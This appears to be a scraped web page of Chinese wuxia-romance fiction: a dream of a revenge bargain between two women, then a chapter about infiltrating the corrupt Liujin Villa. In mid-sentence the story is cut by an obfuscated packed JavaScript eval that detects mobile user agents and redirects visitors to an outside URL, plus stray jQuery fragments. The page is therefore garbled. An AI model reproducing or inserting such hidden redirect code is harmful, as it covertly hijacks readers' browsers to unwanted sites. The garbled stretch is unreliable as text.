“你若答应,我便替你报仇。”彼岸仙说完之后,笑吟吟的看着她,似乎在期待她的回答。
谢云觅听见这话,神情一时错愕,脸也不自觉地红了起来。但认真思考片刻之后,她还是咬着牙点了点头,这是已经目前最好的办法了。
自从被沈红救下以后,自己就跟着她回到了一处宅子里。一进门,映入眼帘的就是院里开得正灿烂的海棠花,非常美丽。
沈红体贴的给了自己半个时辰,先让自己休息了一会儿,等准备好了之后再去找她。
半个时辰后,休息好的谢云觅,还是下定决心,还是听话的来到雾气弥漫的浴池。
浴池内有红纱隔开,透过红纱,雾气弥漫,沈红的身影若隐若现,让人看不真切,也让人浮想联翩。
谢云觅踌躇了一会儿,一把掀开帘子,一鼓作气走了进去。
沈红已经早早地梳洗打扮好了,好似在等着她的到来。
她坐在浴池边,对谢云觅说:“你既然答应我的要求,那就先沐浴吧!若不愿意,便回房间去吧!”
谢云觅闻言没有说话,只是暗暗的把手握成拳头,紧紧攥着衣服。她沉默了一会儿之后,还是乖乖的去洗漱了。
笑吟吟的沈红见她踏入浴池,饶有兴趣的说道:“好,我给你半个时辰,半个时辰后我会来找你。”
这半个时辰里,一脸懵的谢云觅呆呆地坐在浴池里,也不知道自己该想些什么,也不知道接下来会发生什么。她只知道自己想为父母报仇,脑中就这一个念头,无论如何都要实现它。
半个时辰很快就过去了,梳妆打扮后的沈红穿着一身红衣,来到浴池。
谢云觅也早已梳洗打扮好,坐在那等着,只是一副失魂落魄的样子。
沈红看着她这副样子,“看来你也做出决定了。那既然这样,我们就走吧!”
沈红说完之后,快步走向谢云觅,一把抱起她,向房间里走去。
谢云觅陡然被抱起来,刚开始还有些不知所措,心里有些慌乱,又不敢乱动。她的眼睛不经意间盯着沈红的脸,被沈红发现之后,又迅速挪开,自己也不自觉脸红起来。
沈红则是一直稳稳地抱着她,开心地往房间走去。到了房间,沈红把谢云觅抱到了床边,才轻轻地放下。
谢云觅坐好之后,两人四目相对,一时之间气氛有些微妙。这时,沈红突然起身,在桌子上拿了什么东西又回来了。
谢云觅等她回来时这才看清,她手里是一条红纱。
沈红适时开口,“我要你做的事情,自然是心甘情愿才好。这是我最后一次问你,你若不愿意便出去回房间,你若愿意用它把眼睛蒙上。”
谢云觅盯着红纱,思考了一会儿。其实她也不知道自己在想什么,但想到父母的仇,最终心一横,还是蒙上了自己的眼睛。
等到蒙上自己的眼睛后,沈红一把抱住了谢云觅。在她的耳边轻声呢喃,“接下来的一切,你乖乖配合我就够了。把它当作一场梦,很快就会过去。”
接着,沈红一把把谢云觅扑倒在床上。她伸出右手盖上谢云觅的手,两手十指相扣,左手开始扯谢云觅腰间的腰带。
这时,外面先是刮起一阵风,院中的海棠花随风而动。后来又开始下雨,海棠花颤抖的更厉害了。
整个晚上风雨交加,灿烂的海棠花在这场风雨中不停的摇晃,仿佛在大海里飘荡的小船,忽上忽下,始终找不到自己的锚点。
这场风雨下了一夜,海棠花也经历了一夜的摧残。虽然风雨如此猛烈,但坚强的海棠花却没有掉落,依旧顽强的绽放在枝头,反而更加美丽了。
第二天早上,刺眼的阳光从窗子里溜了进来,爬到了她的脸上,这才惊醒了谢云觅。谢云觅醒来时发觉天已经大亮,她懵懂的从床上坐起,发现四周很是安静。
她低下头,发现自己已经换了一身衣服,旁边也没有人。这才回忆起昨晚的事情,脸又开始红了起来。
等她好不容易平复自己的心绪,下床四处走动,忽然开始注意到桌子上有个字条。
她走过去拿起字条,只见字条上面写着:已发现那人踪迹,我现在赶往那里。沈红留。
谢云觅看过之后心事重重的放下字条,看向外面的阳光。
不过,那阳光不知怎的越来越刺眼,就在射的她快要睁不开眼时,谢云觅终于从床上惊醒过来了。
原来是自己又在做梦,又梦到了以前的事情。
白露这日,难得闲来无事,叶浅在府中看书,忽然有一女子上门拜访。来人是江湖上有名的女侠,黎寒秋。
听到浅云通报,叶浅自己也很纳闷,自己似乎没与她打过什么交道。
黎寒秋来此之后,直接说明了自己的来意:“我来此是想拜托叶姑娘帮忙寻找一个人。”
“找我寻人,姑娘怕不是找错地了,这消息灵通的人,应当不是我才对。”叶浅微笑着反问她。
“不,我没找错。”黎寒秋坚定地说。
“我自小上山拜师学艺,两年前才下山归来。如今归来却发现父母去世,弟弟被卖,现在已不知所踪。”
“我这两年辗转多地,就是为了寻找弟弟。前些日子我用尽积蓄去了一趟青州鬼市,已经知道弟弟的下落。”
“在哪里?”叶浅饶有兴趣的问道。
“鎏金山庄。”黎寒秋说出这话时,语气里有一丝无能为力。
“那可不是什么好进的地方。”叶浅一针见血的指出。
“我曾经深夜一个人强闯,不仅没有找到弟弟,自己还受了伤。”
“那你为何来找我?”叶浅饶有兴趣地问道。
“我知道你最近一直在招有身手的女子。你有所求,我亦是。或许我们能合作。”黎寒秋说完这句话,抬头看着叶浅。
黎寒秋所说的鎏金山庄位于青州与锦州的边界处,明面上属于锦州的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191704|197080||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
范围,但实际上却自成一家。
他的背后牵扯着无数势力,无论是江湖,朝堂,还是世家皆有,经过了多方制衡才出现了如今的鎏金山庄,可谓牵一发而动全身。
而庄主刘金是个贪财好色之人,但也绝不是什么无能之辈。如果想要进去鎏金山庄,除非有钱,有权或者有独一无二的东西。况且就算今天进去了,明天也不一定出的来。
但就算这样,还是有许多人趋之若鹜。鎏金山庄奇珍异宝无数,美人如云,还有很多平常人从未见识过的好东西。
传说只要进去了的人大多对此念念不忘,而且许多人也把进去鎏金山庄作为一种炫耀的资本。
这种万恶的地方,叶浅实在想不通有什么好炫耀的。难道比谁更恶毒吗?
叶浅并未直接应下,可仔细思考之后便与苏长宁一同去了鎏金山庄,黎寒秋作为叶浅的侍女也一并进去了。
他们进去的时候,并不费什么力气。苏长宁在一旁悄悄提醒道:“这庄主不知我们底细,又听说过你的事迹。目前对咱们还算客气,并不愿意与我们交恶,所以小姐暂且放心。”
“只是这人喜怒无常,有时不会按常理出牌,所以不能放松警惕。”
那庄主见到叶浅前来,脸上笑眯眯的,亲自过来问候:“叶姑娘,真是久仰大名呢!之前一直想要见见叶姑娘。只是叶姑娘是个大忙人,我就没再打扰。今日有幸一见,果真如传闻一般。”
“多谢庄主。之前有事要忙,希望庄主莫要怪罪。”叶浅客套的回答。
“唉,怎么会?”刘金连忙摆摆手,表示没什么大不了。
“我一直听闻庄主的山庄非常漂亮,不知今日可否有幸参观一下?”叶浅看看四周,忽然提出要参观山庄的要求。
“哎,可以,可以。今日难得空闲,不如我就带叶姑娘去吧!”那刘金适时毛遂自荐道。
于是刘金亲自带着叶浅逛了整个山庄,好好炫耀了一番。
不知不觉间,周围已经漆黑一片。刘金看着周围的天色,盛情邀请道:“天色已晚,叶姑娘,我早已备好宴席。不知叶姑娘可否赏光?”
叶浅没有拒绝,跟着刘金来到了传说中的奢靡无度的宴席上。
宴席上不仅各种各样的山珍海味,还有各种精彩绝伦的表演,就连一应摆设都精美绝伦,价值连城。
果真是如传说中那般惑人心弦,若是没有坚定的心志,恐怕会走不出这里,迟早与这里成为一体。
不对,是这里的东西有问题,有什么在影响自己的神智。叶浅暗中掐了自己一把,这才勉强清醒过来,看来要趁早离开。
不过叶浅与苏长宁第一次在这样的宴席上做客,期间有不少人慕名想来见识一下叶浅,都被八面玲珑的苏长宁找借口拦下了,但他自己也脱不了身。
无所事事的叶浅只好独自一人饮酒,在刘金的眼神示意下,一个长相清秀的男子大着胆子上前敬酒。